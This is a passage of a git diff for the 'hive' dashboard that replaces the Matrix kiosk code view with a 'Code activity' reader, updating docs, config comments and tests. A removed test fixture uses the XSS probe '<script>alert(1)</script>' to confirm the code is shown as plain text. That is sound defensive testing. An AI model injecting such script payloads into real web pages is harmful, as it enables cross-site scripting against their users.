state slugs (`front`, `queued-behind`) are payload values only, the SPA renders ordinal places ("Merge queued Β· 1st of 2", with the train's tag when more than one train is on the page). Served from a server-side cache rebuilt at most every `dashboard.stage_tracker.cache_ttl_s` (default `governor.eval_interval_s`) from the spoke's existing snapshot β€” a request never calls GitHub. Carries `generated_at`, `source` (`cache` or `fresh`), `cache_ttl_s`, an `ETag` and `Cache-Control: private, max-age=<remaining>`; `If-None-Match` yields 304. Each hit is recorded under REST caller `dashboard:stage-tracker` so `/api/gh-rate-limits` shows it charged nothing. | `pkg/dashboard/api.go:190` | -| `GET` | `/api/matrix/lines` | Dashboard auth/session | Matrix Lines: serve bounded backlog of pushed lines behind dashboard.matrix with repo allowlist filtering. `max` counts only lines the repo allowlist admits, so a page is never emptied by filtered-out lines. A client paging with `max` should use the last returned line's `seq` as its next `since`, not the top-level `seq`, which is the source's latest sequence number and would skip lines still past the page. `more` is true only while another line the caller may see remains past the page; stop paging when it is false. | `pkg/dashboard/api.go:191` | +| `GET` | `/api/matrix/lines` | Dashboard auth/session | Matrix Lines (deprecated name, see [Published-checkpoint regions](#published-checkpoint-regions)): serve bounded backlog of pushed lines behind dashboard.matrix with repo allowlist filtering. `max` counts only lines the repo allowlist admits, so a page is never emptied by filtered-out lines. A client paging with `max` should use the last returned line's `seq` as its next `since`, not the top-level `seq`, which is the source's latest sequence number and would skip lines still past the page. `more` is true only while another line the caller may see remains past the page; stop paging when it is false. | `pkg/dashboard/api.go:191` | | `POST` | `/api/prs/{owner}/{repo}/{number}/queue-automerge` | Merger/owner role | Queue PRAuto Merge | `pkg/dashboard/api.go:192` | | `GET` | `/api/inference/models/{backend}` | Dashboard auth/session | Inference Models | `pkg/dashboard/api.go:369` | | `GET` | `/api/hive-id` | Dashboard auth/session | Hive IDGet | `pkg/dashboard/api.go:431` | @@ -138,3 +138,11 @@ eligible region is always returned whole, even if larger than the budget. Code buffers are bounded and memory-only, so this is not an audit history. Clear retained browser code on epoch changes and failed/disabled/unauthorized pulls. An empty response says nothing about work outside the admitted source. + +The internal `/api/matrix/lines` and `dashboard.matrix.*` names are deprecated +but remain supported for compatibility. The sole code display is now **Code activity** +at `?kiosk=1&view=reader`; `?kiosk=1&view=matrix` is a deprecated alias that +opens the same reader. The Matrix renderers and their `mx.*` settings are +retired. Activation remains explicitly opt-in and default-off; +only pushed, published PR checkpoints are admitted, never workspace or pre-push +content. The cutover grants no anonymous access or broadcast authorization. diff --git a/src/docs/dashboard.md b/src/docs/dashboard.md index 0e89e3d839..489912447c 100644 --- a/src/docs/dashboard.md +++ b/src/docs/dashboard.md @@ -607,15 +607,22 @@ The endpoint returns `stages` (the stage table with `short`, `branch_from`, conf ## Code activity reader The code activity reader is a kiosk view at `?kiosk=1&view=reader` that shows -pushed changes as readable paragraphs. It is the planned successor to the -Matrix code view ([#16137](https://github.com/hivecommons/hive/issues/16137)). -Until the cutover, both views are available. The reader uses the same opt-in -setting and authorized `GET /api/matrix/lines` endpoint as Matrix, so it has -the same `dashboard.matrix` repository allowlist, author restriction and -scrub/path filters. When `dashboard.matrix.enabled` is set, the header shows a -**Reader** tab next to **Matrix**. Without that setting, the endpoint answers -404 and the view says it is not enabled. The reader adds no permission and no -anonymous access. +pushed changes as readable paragraphs. It supersedes the Matrix code view +([#16137](https://github.com/hivecommons/hive/issues/16137)). The Activity Monitor +topbar has one **Code activity** entry, opening the reader in a new tab when +`dashboard.matrix.enabled` is set. The decorative Matrix view and its rain, +cascade, ghost and terminal effects are retired; there is no side-by-side +legacy view. Saved `?kiosk=1&view=matrix` display URLs keep working as a +deprecated alias that opens the reader; prefer `?kiosk=1&view=reader`. The +`mx.*` URL options and `hive.matrix.*` browser preferences are ignored. + +The internal `dashboard.matrix.*` configuration names and `/api/matrix/lines` +endpoint are deprecated names retained for compatibility; do not rename existing +configuration. They continue to enforce the same public repository allowlist, +author restriction, dashboard read authorization and scrub/path filters. Code +activity stays **off by default**: this cutover enables no capture or broadcast. +When inactive, the content endpoint answers 404 and the reader says it is not +enabled. There is no anonymous access or workspace/pre-push capture. - **Cards.** Each card is a complete contiguous add/remove region from a validated unified-diff hunk at an actual published PR head. Indentation, blank lines diff --git a/src/docs/operator-reference/README.md b/src/docs/operator-reference/README.md index 467be2b382..23a9811ad5 100644 --- a/src/docs/operator-reference/README.md +++ b/src/docs/operator-reference/README.md @@ -284,7 +284,7 @@ Go callers keep reading `cfg.Agents`, `cfg.Governor.Gateways` and so on through | `dashboard.public_url` | Empty means OAuth redirect URIs (Linear agent install, OpenRouter funding) fall back to `hub.dashboard_url`, then the request's forwarded/`Host` origin. | Set to this dashboard's externally reachable origin (`https://hive.example.com`, no path/query) on a standalone hive whose callback is published on a different hostname or whose ingress rewrites `Host`. Must be an absolute `http(s)://` origin; a trailing slash is trimmed and anything else fails config load. See [linear-agent.md](../linear-agent.md#setup). | | `dashboard.experiment_lab` | Off by default. | Hides the Experiment Lab (formerly Strategy Lab) while that surface is being reworked. Set `dashboard.experiment_lab: true` to show the Experiment Lab section, sidebar nav entry, and Nous status controls. | | `dashboard.strategy_lab` | Off by default. **Deprecated** alias of `dashboard.experiment_lab`, kept for one release (#11695). | `true` still enables the Experiment Lab and logs a one-line deprecation at config load; the value is folded into `dashboard.experiment_lab` so the next config save writes the documented key. | -| `dashboard.matrix` | Off by default (`enabled: false`, `repos: []`, `exclude_paths: []`). **Experimental.** | Opt-in Activity Monitor Matrix display block (#15862). When active, pushed lines from allow-listed repos are served to authenticated read-role viewers via `GET /api/matrix/lines?since=&max=` (bounded backlog, `Cache-Control: no-store`; `404` when inactive) and `/api/events` emits a content-free `code-lines` nudge (`{"seq":N}`, ≀1/s) telling browsers to pull. `repos` is an explicit exact `owner/name` allowlist (no wildcards, URLs or bare names) and an empty list captures nothing, so `enabled: true` alone stays inactive. `exclude_paths` adds non-empty path globs to the built-in deny-list. There is no `authors` or `private_repos` key: authors are fixed and private repos are always excluded. | +| `dashboard.matrix` | Off by default (`enabled: false`, `repos: []`, `exclude_paths: []`). **Experimental.** | Opt-in Code activity source. The `dashboard.matrix.*` names are deprecated but retained for compatibility; the Code activity entry opens `?kiosk=1&view=reader` in a new tab. No automatic enablement or workspace capture. When active, pushed lines from allow-listed repos are served to authenticated read-role viewers via `GET /api/matrix/lines?since=&max=` (bounded backlog, `Cache-Control: no-store`; `404` when inactive) and `/api/events` emits a content-free `code-lines` nudge (`{"seq":N}`, ≀1/s) telling browsers to pull. `repos` is an explicit exact `owner/name` allowlist (no wildcards, URLs or bare names) and an empty list captures nothing, so `enabled: true` alone stays inactive. `exclude_paths` adds non-empty path globs to the built-in deny-list. There is no `authors` or `private_repos` key: authors are fixed and private repos are always excluded. | | `hub.contribute_announcement` | Empty/off by default. | Operator notice for contributors. Set from Governor β†’ Hub or `/contribute` Management (owner/read-write): `text` is server-sanitised plain text capped at 500 characters and rendered only through text-safe sinks (empty clears), `level` is `info`/`warning`, `expires_at` is optional RFC3339, and the server rotates `id` whenever text changes so dismissed Operations/Profile banners reappear. Active notices show on `/contribute` Operations/Profile, above the Onboarding command block, and in connected relay terminals. | | `hub.contribute_repo_filters` | Empty map means repos inherit the hive-wide contributor title, author, and label filters exactly as before. | Optional full `owner/repo` keys that narrow one repository's `/contribute` queue without widening the hive. Hive-wide skip labels and hive-wide filters always run first; a repo filter can only add deny matches or require an allow-mode title/author/label match for that repo. Edit from `/contribute` β†’ Management β†’ Repos for Contribute β†’ Filters or Governor β†’ Hub. Operations lists configured overrides and withheld diagnostics name repo matches, e.g. `Repo filter label "2-discussing" denied for projectbluefin/common`. | | `hub.contribute_wall_enabled` | Off by default. | Opts the hive into the public contributor wall on `/contribute` Operations. The Management tab and Governor Hub settings mirror this switch. When off, the panel is hidden and write endpoints refuse posts. | diff --git a/src/docs/streaming-the-activity-monitor.md b/src/docs/streaming-the-activity-monitor.md index 4d4b9e2835..f7f737d2ff 100644 --- a/src/docs/streaming-the-activity-monitor.md +++ b/src/docs/streaming-the-activity-monitor.md @@ -95,7 +95,7 @@ apply the overlay β€” the steps below are all yours to run. ### Call-to-action overlay -Every kiosk view β€” this stream's Activity Monitor, the [Matrix](#matrix-mode-separate-channel) +Every kiosk view β€” this stream's Activity Monitor, [Code activity](#code-activity-separate-channel) and the hub's [public fleet page](#the-hivecommonsfleet-broadcast) β€” carries a small pill bottom-right: "🐝 Want this for your repos?", the URL `hive.hivecommons.dev/get-started` in 24px amber, and a 110px QR code of it, so @@ -107,8 +107,8 @@ spoke the destination and the copy are `dashboard.kiosk_cta_url` and are `HIVE_HUB_KIOSK_CTA_URL` and `HIVE_HUB_KIOSK_CTA_TEXT`. The QR code is rendered server-side (`src/pkg/webassets/kioskcta`) as an inline `data:` PNG, so nothing external is loaded and the pages' Content-Security-Policy is unchanged. -In Matrix mode the pill sits above the canvas at 85 % opacity so it does not -fight the effect. +In Code activity the pill sits above the reader at 85 % opacity so it does not +obscure the code. ### Channel title, category, tags @@ -291,51 +291,33 @@ with the same ↑/↓ delta cue), enlarged in kiosk, pop-out, display and full-s views so it reads at 1920Γ—1080. Do not point the streamer at a hive tracking private repositories without reviewing what the tracker would show. -The main `twitch.tv/hivecommons` stream never shows Matrix; it remains the +The main `twitch.tv/hivecommons` stream never shows Code activity; it remains the full-screen Activity Monitor. -## Matrix mode (separate channel) - -When `dashboard.matrix.enabled` is set, the Activity Monitor header also shows a **Matrix** tab that opens `?kiosk=1&view=matrix` in the same window. It also shows a **Reader** tab that opens the [code activity reader](dashboard.md#code-activity-reader) at `?kiosk=1&view=reader`. The reader uses the same lines, shown as readable paragraphs. - -Matrix is an experimental, default-off code display for a separate channel, -[`twitch.tv/hivecommonsmatrix`](https://www.twitch.tv/hivecommonsmatrix). -It depends on the Matrix display renderer (`/?kiosk=1&view=matrix`, -[#15936](https://github.com/hivecommons/hive/issues/15936)); without that -renderer the dashboard ignores `view=matrix` and the kiosk serves the ordinary -Activity Monitor. When active it shows pushed added lines only, from positively -identified hive identities, on public repositories explicitly allowlisted in -`dashboard.matrix.repos`. -Private patches, unverified authors and excluded paths are never shown. Lines -touched by scrubbing are dropped entirely rather than displayed with redactions; -the built-in secret/path filters and `dashboard.matrix.exclude_paths` apply. -Dashboard authentication alone does not make a code stream safe for public -Twitch broadcasting: the public allowlist, author restriction and scrub/drop -rules are required. - -The display's look is chosen with `mx.*` URL parameters; each value is also -remembered in the browser (`hive.matrix.*` in local storage) for later visits. -Every effect renders only lines already delivered by `/api/matrix/lines`. - -| `mx.effect` | Display | -|---|---| -| `rain` (default) | Falling columns built from the characters of the latest lines. Unknown values fall back to `rain`. | -| `cascade` | Whole lines drift down the screen, each with its `repo#PR Β· path` caption. | -| `ghost` | Ghost coder: a fake editor with one tab per PR (`repo#PR`), titled with the file path; at most six tabs, the oldest closes first. Lines are typed character by character behind a blinking cursor, with light keyword/string/comment/number colouring by file extension. | -| `terminal` | An endless `git log -p`-style scroll: each line printed as a green `+ <line>`, with a `repo#PR Β· path` header whenever the PR or file changes. | - -`mx.speed` (0.1–5, default 1) and `mx.fps` (1–60, default 30) set the -animation and typing speed, `mx.palette` is `green` (default), `amber` or -`gold`, and `mx.captions=off` hides the `repo#PR Β· path` captions and headers -on the canvas. `p` or Space pauses; a hidden tab pauses too. With the -operating system's *reduce motion* setting on, every effect is replaced by -static pages of the latest lines with their captions. +## Code activity (separate channel) + +The Activity Monitor topbar shows one **Code activity** entry when +`dashboard.matrix.enabled` is set. It opens the [reader](dashboard.md#code-activity-reader) +at `?kiosk=1&view=reader` in a new tab. Code activity supersedes the Matrix +code view: rain, cascade, ghost, terminal and all `mx.*` presentation settings +are retired. Saved `?kiosk=1&view=matrix` display URLs are a deprecated alias +that opens the same reader; new links should use `view=reader`. + +The source remains default-off and limited to pushed published PR checkpoints +from positively identified Hive/clanker authors in explicitly allowlisted public +repositories. Complete admitted add/remove regions are shown with `Pushed PR` +provenance and observed time; opening backlog is labelled a buffered snapshot. +There is no workspace or pre-push capture. The internal `dashboard.matrix.*` +configuration and `/api/matrix/lines` names are deprecated but remain supported. +Existing read authorization, path exclusions and whole-region scrub/drop filters +still apply. Dashboard authentication alone does not authorize broadcasting. [`overlays/hive-hosted-matrix/`](../deploy/stream/overlays/hive-hosted-matrix/kustomization.yaml) reuses the streamer image and base as a separate instance. It renders Deployment, ConfigMap and NetworkPolicy `matrix-hive-stream` in namespace `hive-stream-matrix`, with separate pod selectors and secret references scoped to that namespace. -It opens `/?kiosk=1&view=matrix&sound=off` and sets `STREAM_AUDIO=silent`. +It opens `/?kiosk=1&view=matrix&sound=off` (the deprecated alias, which now +shows Code activity) and sets `STREAM_AUDIO=silent`. Its independent process and deployment isolate restarts and failures from the existing stream. The `hive-hosted` overlay and `twitch.tv/hivecommons` are unaffected. @@ -344,11 +326,11 @@ unaffected. channel.** The overlay has `replicas: 0`; applying it starts no streamer. Channel availability alone does not authorize activation. The owner must: -1. Confirm the deployed dashboard build serves the Matrix display for - `view=matrix` (#15936). A build without it broadcasts the ordinary kiosk - Activity Monitor on the Matrix channel, not code lines. +1. Confirm the deployed dashboard build serves Code activity for + `view=matrix` (the alias the overlay opens) and `view=reader`. A build without it broadcasts the ordinary kiosk + Activity Monitor on the separate channel, not code changes. 2. Enable `dashboard.matrix` with an explicit, reviewed public repo allowlist - and verify the Matrix display and its author restriction and scrub/drop rules + and verify Code activity and its author restriction and scrub/drop rules before any broadcast. An empty allowlist captures nothing. 3. Provision `hivecommonsmatrix` independently, create namespace `hive-stream-matrix`, and create the out-of-band diff --git a/src/pkg/config/config.go b/src/pkg/config/config.go index 3ff585a20b..197209e3da 100644 --- a/src/pkg/config/config.go +++ b/src/pkg/config/config.go @@ -4939,8 +4939,8 @@ type DashboardConfig struct { // // Deprecated: set dashboard.experiment_lab instead. StrategyLab bool `yaml:"strategy_lab,omitempty" json:"strategy_lab,omitempty"` - // Matrix is the experimental, default-off Activity Monitor Matrix block - // (#15862). Nothing reads it yet; see dashboard_matrix.go. + // Matrix is the default-off Code activity source configuration. + // The dashboard.matrix name is deprecated but retained for compatibility. Matrix MatrixConfig `yaml:"matrix,omitempty" json:"matrix,omitempty"` // SnapshotFrameAncestors is the explicit set of HTTPS origins allowed to // embed the public, read-only /snapshot document. Empty keeps the historical diff --git a/src/pkg/config/dashboard_matrix.go b/src/pkg/config/dashboard_matrix.go index c1a3bab2fa..c5abaf950f 100644 --- a/src/pkg/config/dashboard_matrix.go +++ b/src/pkg/config/dashboard_matrix.go @@ -5,11 +5,12 @@ import ( "strings" ) -// MatrixConfig is the experimental, default-off dashboard.matrix block +// MatrixConfig is the default-off Code activity source configuration // (#15862). Repos is the single explicit public-repo allowlist gating every -// Matrix output; empty means nothing is captured. ExcludePaths adds globs to +// Code activity output; empty means nothing is captured. ExcludePaths adds globs to // the built-in deny-list. There are deliberately no authors or private_repos // keys. +// The dashboard.matrix names are deprecated but retained for configuration compatibility. type MatrixConfig struct { Enabled bool `yaml:"enabled,omitempty" json:"enabled,omitempty"` Repos []string `yaml:"repos,omitempty" json:"repos,omitempty"` diff --git a/src/pkg/dashboard/kiosk_cta.test.js b/src/pkg/dashboard/kiosk_cta.test.js index 4c5ce7cddb..71bf418627 100644 --- a/src/pkg/dashboard/kiosk_cta.test.js +++ b/src/pkg/dashboard/kiosk_cta.test.js @@ -16,7 +16,7 @@ test('hiveKioskCTAOn: kiosk=1 only, cta=off opts out', () => { new Function('window', m[0])(window); const on = window.hiveKioskCTAOn; assert.strictEqual(on('https://hive.example/?kiosk=1#section-activity-monitor-section'), true); - assert.strictEqual(on('https://hive.example/?kiosk=1&view=matrix&sound=off'), true); + assert.strictEqual(on('https://hive.example/?kiosk=1&view=reader&sound=off'), true); assert.strictEqual(on('https://hive.example/?kiosk=1&cta=off'), false); assert.strictEqual(on('https://hive.example/'), false); assert.strictEqual(on('https://hive.example/?display=1'), false); @@ -24,12 +24,12 @@ test('hiveKioskCTAOn: kiosk=1 only, cta=off opts out', () => { assert.strictEqual(on('not a url'), false); }); -test('badge wiring: placeholder outside the root, hidden without the body class, lifted and dimmed in matrix', () => { +test('badge wiring: placeholder outside the root, hidden without the body class, lifted and dimmed in Code activity', () => { assert.ok(html.includes("if(window.hiveKioskCTAOn(window.location.href)) document.body.classList.add('kiosk-cta-on');")); const root = html.indexOf('<!-- /#hive-dashboard-root -->'); const ph = html.indexOf('<!-- hive-kiosk-cta -->'); assert.ok(root > 0 && ph > root, 'placeholder must follow the dashboard root'); assert.ok(html.includes('#kiosk-cta { display: none; }')); assert.ok(html.includes('body.kiosk-cta-on #kiosk-cta {')); - assert.ok(html.includes('body.matrix-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; }')); + assert.ok(html.includes('body.reader-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; }')); }); diff --git a/src/pkg/dashboard/matrix_header_tab_test.go b/src/pkg/dashboard/matrix_header_tab_test.go index 84fe806882..8c9587bd13 100644 --- a/src/pkg/dashboard/matrix_header_tab_test.go +++ b/src/pkg/dashboard/matrix_header_tab_test.go @@ -10,7 +10,7 @@ import ( "github.com/hivecommons/hive/pkg/config" ) -func TestDashboardMatrixHeaderTabHiddenByDefault(t *testing.T) { +func TestDashboardCodeActivityHeaderTabHiddenByDefault(t *testing.T) { raw, err := staticFS.ReadFile("static/index.html") if err != nil { t.Fatalf("reading embedded static/index.html: %v", err) @@ -18,17 +18,27 @@ func TestDashboardMatrixHeaderTabHiddenByDefault(t *testing.T) { html := string(raw) start := strings.Index(html, `id="oc-matrix-tab"`) if start < 0 { - t.Fatal("static/index.html missing the Matrix header tab") + t.Fatal("static/index.html missing the Code activity header tab") } open := html[strings.LastIndex(html[:start], "<a "):] open = open[:strings.Index(open, ">")] - for _, want := range []string{`href="?kiosk=1&view=matrix"`, ` hidden`, `nav-chip`} { + for _, want := range []string{`href="?kiosk=1&view=reader"`, `target="_blank"`, `rel="noopener"`, ` hidden`, `nav-chip`} { if !strings.Contains(open, want) { - t.Fatalf("Matrix header tab %q missing %q", open, want) + t.Fatalf("Code activity header tab %q missing %q", open, want) } } + if !strings.Contains(html[start:], `>Code activity</span></a>`) { + t.Fatal("toolbar entry must be labelled Code activity") + } + // One entry: the legacy oc-matrix-tab id is retained, with no side-by-side tab. + if strings.Count(html, `id="oc-matrix-tab"`) != 1 || strings.Contains(html, `id="oc-reader-tab"`) { + t.Fatal("toolbar must carry exactly one Code activity entry") + } + if strings.Contains(html, "view=matrix\"") { + t.Fatal("toolbar still links the retired Matrix view") + } if !strings.Contains(html, "data.matrixEnabled") { - t.Fatal("static/index.html never toggles the Matrix tab from the status payload") + t.Fatal("static/index.html never toggles the Code activity tab from the status payload") } } diff --git a/src/pkg/dashboard/matrix_ui_test.go b/src/pkg/dashboard/matrix_ui_test.go index f41213572f..b8bc26ffe4 100644 --- a/src/pkg/dashboard/matrix_ui_test.go +++ b/src/pkg/dashboard/matrix_ui_test.go @@ -7,155 +7,46 @@ import ( "testing" ) -func TestMatrixUIWiring(t *testing.T) { +func TestMatrixPresentationRetired(t *testing.T) { html := indexHTML(t) - read := func(name string) string { - t.Helper() - b, err := os.ReadFile("static-src/" + name) - if err != nil { - t.Fatal(err) + for _, obsolete := range []string{"HIVE_MATRIX", "hiveMatrixStart", "hiveMatrixAttach", "matrix-mode", "matrix-canvas", "mx.effect", "hive.matrix.", `id="oc-reader-tab"`} { + if strings.Contains(html, obsolete) { + t.Errorf("shipped page retains retired Matrix presentation %q", obsolete) } - return string(b) } - js := read("js/matrix.js") - for _, forbidden := range []string{"innerHTML", "insertAdjacentHTML", "document.write", "new EventSource"} { - if strings.Contains(js, forbidden) { - t.Errorf("matrix.js contains forbidden sink/stream %q", forbidden) - } - } - for _, want := range []string{"visibilitychange", "prefers-reduced-motion: reduce", "cancelAnimationFrame", "text.textContent = line.line", "source.addEventListener('code-lines'", "hive.matrix.", "mx.", "'ghost'", "'terminal'", "effect === 'ghost'", "effect === 'terminal'"} { - if !strings.Contains(js, want) { - t.Errorf("matrix.js missing %q", want) - } - } - for _, want := range []string{"window.HIVE_MATRIX = kiosk && view === 'matrix';", "if(window.HIVE_MATRIX){", "hiveMatrixStart();", "if (window.HIVE_MATRIX) window.hiveMatrixAttach(source);"} { - if !strings.Contains(html, want) { - t.Errorf("generated page missing %q", want) - } - } - css := read("css/matrix.css") - // Overlays must be viewport-pinned and layered above the canvas in every effect (#16441). - for _, want := range []string{"body.matrix-mode .matrix-canvas { display: block; position: absolute; inset: 0; z-index: 0;", "body.matrix-mode .matrix-labels { position: fixed; bottom: 1rem; left: 1rem;", "body.matrix-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001;"} { - if !strings.Contains(css, want) { - t.Errorf("matrix.css missing %q", want) - } - } - for _, rule := range strings.Split(css, "}") { - selector, _, ok := strings.Cut(strings.TrimSpace(rule), "{") - if !ok { - continue - } - for _, part := range strings.Split(selector, ",") { - if !strings.HasPrefix(strings.TrimSpace(part), "body.matrix-mode ") { - t.Errorf("unscoped Matrix selector %q", part) - } - } - } - manifest := read("manifest.txt") - for _, file := range []string{"js/matrix.js", "css/matrix.css"} { - if !strings.Contains(manifest, file+"\n") { - t.Errorf("manifest missing %s", file) - } - if !strings.Contains(html, read(file)) { - t.Errorf("generated page is missing current %s", file) + for _, name := range []string{"js/matrix.js", "css/matrix.css"} { + if _, err := os.Stat("static-src/" + name); !os.IsNotExist(err) { + t.Errorf("retired asset %s still exists (err=%v)", name, err) } } } -// Exercise browser lifecycle and pull behavior with deterministic DOM/clock -// doubles. No browser dependencies, network or real animation timers required. -func TestMatrixUIBehavior(t *testing.T) { +// Exercise the status-controlled visibility of the actual toolbar element. +// The reader browser scenarios follow its shipped href and boot the reader. +func TestCodeActivityToolbarStatus(t *testing.T) { node, err := exec.LookPath("node") if err != nil { t.Skip("node unavailable") } - cmd := exec.Command(node, "-e", matrixBrowserTest) + cmd := exec.Command(node, "-e", codeActivityToolbarTest) if out, err := cmd.CombinedOutput(); err != nil { - t.Fatalf("Matrix browser behavior: %v\n%s", err, out) + t.Fatalf("Code activity toolbar: %v\n%s", err, out) } } -const matrixBrowserTest = ` +const codeActivityToolbarTest = ` const assert = require('assert'); const fs = require('fs'); const vm = require('vm'); -const matrix = fs.readFileSync('static-src/js/matrix.js', 'utf8'); -const boot = fs.readFileSync('static-src/js/boot.js', 'utf8').split('})();')[0] + '})();'; -async function scenario(query, reduced = false, status = 200) { - const events = {}, docEvents = {}, raf = new Map(), timers = new Map(), requests = [], draws = []; - let id = 0, responseStatus = status, responseSeq = 1; - const context = {clearRect(){}, fillRect(){}, fillText(...a){draws.push(a)}, drawImage(...a){draws.push(a)}}; - const elements = []; - function el(tag) { const e = {tagName: tag.toUpperCase(), children: [], style: {setProperty(){}}, - classList: {add(){}}, setAttribute(){}, append(...a){this.children.push(...a)}, - appendChild(a){this.children.push(a)}, replaceChildren(...a){this.children = a}, getContext(){return context}}; - elements.push(e); return e; } - const body = el('body'); - const doc = {body, hidden: false, createElement: el, - getElementById(id){return elements.find(e => e.id === id)}, - addEventListener(n, fn){(docEvents[n] ||= []).push(fn)}}; - const motion = {matches: reduced, addEventListener(n, fn){this.change = fn}}; - const win = {location: {href: 'https://hive.test/' + query}, innerWidth: 800, innerHeight: 600, - matchMedia(){return motion}, addEventListener(){}}; - const c = vm.createContext({window: win, document: doc, URL, location: {hash: '#activity'}, - history: {replaceState(){}}, localStorage: {getItem(){return null}, setItem(){}}, - requestAnimationFrame(fn){raf.set(++id, fn); return id}, cancelAnimationFrame(i){raf.delete(i)}, - setTimeout(fn){timers.set(++id, fn); return id}, clearTimeout(i){timers.delete(i)}, setInterval(){}, dashboardSetInterval(){}, - fetch(url){requests.push(url); return Promise.resolve({status: responseStatus, ok: responseStatus === 200, - json(){return Promise.resolve({seq: responseSeq, lines: [{line: '<script>alert(1)</script>', repo: 'org/repo', pr: 2, path: 'main.go', at: new Date().toISOString()}]})}})}, - Date, Math}); - vm.runInContext(matrix, c); c.hiveMatrixStart = win.hiveMatrixStart; - vm.runInContext(boot, c); - for (const fn of docEvents.DOMContentLoaded || []) fn(); - const flush = async () => {for(let i=0;i<12;i++) await Promise.resolve()}; - await flush(); - if (!win.HIVE_MATRIX) {assert.equal(requests.length, 0); assert(!doc.getElementById('hive-matrix')); return;} - const byClass = n => elements.find(e => e.className === n); - assert.equal(requests[0], '/api/matrix/lines?since=0'); - assert(byClass('matrix-labels').children[0].textContent.includes('public allowlisted repos')); - if (status !== 200) { - assert.equal(raf.size, 0); assert(byClass('matrix-canvas').hidden); - assert(byClass('matrix-notice').textContent.includes(status === 404 ? 'not enabled' : 'Sign in')); - return; - } - if (reduced) { - assert.equal(raf.size, 0); - assert.equal(byClass('matrix-list').children[0].children[1].textContent, '<script>alert(1)</script>'); - assert(timers.size > 0); - } else { - assert.equal(raf.size, 1); - for (const time of [1, 100]) {const fn = [...raf.values()][0]; raf.clear(); fn(time)} - assert(draws.length > 0); - if (/cascade|ghost|terminal/.test(query)) assert(draws.some(a => a[0] === 'org/repo#2 Β· main.go')); - if (query.includes('ghost')) assert(draws.some(a => a[0] === 'main.go')); - if (query.includes('terminal')) assert(draws.some(a => a[0] === '+ <script>alert(1)</script>')); - // The freshness HUD stays mounted, unhidden and populated in every effect, - // and the typed effects keep their baseline above the HUD band (#16441). - const hud = byClass('matrix-labels'); - assert(!hud.hidden); assert.equal(hud.children.length, 3); - assert(hud.children[0].textContent.includes('lines pushed')); assert(hud.children[1].textContent); - assert.equal(doc.getElementById('hive-matrix').children.indexOf(hud), 3); - if (/ghost|terminal/.test(query)) assert(draws.filter(a => a.length === 3).every(a => a[2] <= win.innerHeight - 100)); - } - doc.hidden = true; docEvents.visibilitychange.forEach(fn => fn()); - assert.equal(raf.size, 0); assert.equal(timers.size, 0); - assert.equal(byClass('matrix-labels').children[2].textContent, 'paused'); - doc.hidden = false; docEvents.visibilitychange.forEach(fn => fn()); await flush(); - docEvents.keydown[0]({key: 'p', target: el('body'), preventDefault(){}}); - assert.equal(raf.size, 0); assert.equal(timers.size, 0); - win.hiveMatrixAttach({addEventListener(n, fn){events[n] = fn}}); - responseSeq = 2; events['code-lines'](); await flush(); - assert.equal(requests.at(-1), '/api/matrix/lines?since=1'); - responseStatus = 403; events['code-lines'](); await flush(); - assert(byClass('matrix-canvas').hidden); assert.equal(byClass('matrix-list').children.length, 0); +const html = fs.readFileSync('static/index.html', 'utf8'); +const entry = html.match(/<a [^>]*id="oc-matrix-tab"[^>]*>[\s\S]*?<\/a>/)[0]; +assert(entry.includes(' hidden')); assert(entry.includes('>Code activity</span>')); +const tab = {hidden: true}; +const document = {getElementById(id) {assert.equal(id, 'oc-matrix-tab'); return tab;}}; +// Use the shipped status handler, including its boolean guard. +const handler = html.match(/if \(typeof data.matrixEnabled === 'boolean'\) \{[^}]*\}/)[0]; +for (const [value, expected] of [[undefined, true], [false, true], [true, false], [undefined, false], [false, true]]) { + vm.runInNewContext(handler, {document, data: {matrixEnabled: value}}); + assert.equal(tab.hidden, expected); } -(async () => { - await scenario(''); await scenario('?view=matrix'); await scenario('?kiosk=1'); - await scenario('?kiosk=1&view=matrix'); - await scenario('?kiosk=1&view=matrix&mx.effect=cascade'); - await scenario('?kiosk=1&view=matrix&mx.effect=ghost'); - await scenario('?kiosk=1&view=matrix&mx.effect=terminal'); - await scenario('?kiosk=1&view=matrix', true); - for (const status of [404, 401, 403]) await scenario('?kiosk=1&view=matrix', false, status); -})().catch(e => {console.error(e); process.exit(1)}); ` diff --git a/src/pkg/dashboard/reader_ui_test.go b/src/pkg/dashboard/reader_ui_test.go index a40db176e2..fa3c891a07 100644 --- a/src/pkg/dashboard/reader_ui_test.go +++ b/src/pkg/dashboard/reader_ui_test.go @@ -28,16 +28,12 @@ func TestReaderUIWiring(t *testing.T) { t.Errorf("reader.js missing %q", want) } } - for _, want := range []string{"window.HIVE_READER = kiosk && view === 'reader';", "document.body.classList.add('reader-mode');", "hiveReaderStart();", "if (window.HIVE_READER) window.hiveReaderAttach(source);", `id="oc-reader-tab" href="?kiosk=1&view=reader"`, "getElementById('oc-reader-tab')"} { + for _, want := range []string{"window.HIVE_READER = kiosk && (view === 'reader' || view === 'matrix');", "document.body.classList.add('reader-mode');", "hiveReaderStart();", "if (window.HIVE_READER) window.hiveReaderAttach(source);", `id="oc-matrix-tab" href="?kiosk=1&view=reader"`, "getElementById('oc-matrix-tab')"} { if !strings.Contains(html, want) { t.Errorf("generated page missing %q", want) } } - // The Matrix entry point stays until the cutover (#16477). - if !strings.Contains(html, `id="oc-matrix-tab"`) || !strings.Contains(html, "window.HIVE_MATRIX = kiosk && view === 'matrix';") { - t.Error("generated page lost the Matrix entry point") - } - start := strings.Index(html, `id="oc-reader-tab"`) + start := strings.Index(html, `id="oc-matrix-tab"`) open := html[strings.LastIndex(html[:start], "<a "):] open = open[:strings.Index(open, ">")] if !strings.Contains(open, " hidden") { @@ -95,6 +91,11 @@ const assert = require('assert'); const fs = require('fs'); const vm = require('vm'); const reader = fs.readFileSync('static-src/js/reader.js', 'utf8'); +// Follow the actual shipped toolbar link, rather than a separately hard-coded URL. +const page = fs.readFileSync('static/index.html', 'utf8'); +const toolbar = page.match(/<a [^>]*id="oc-matrix-tab"[^>]*>/)[0]; +assert(toolbar.includes('target="_blank"')); assert(toolbar.includes('rel="noopener"')); +const toolbarQuery = toolbar.match(/href="([^"]+)"/)[1].replaceAll('&', '&'); const boot = fs.readFileSync('static-src/js/boot.js', 'utf8').split('})();')[0] + '})();'; const at = '2026-11-03T12:00:00Z'; const first = [ @@ 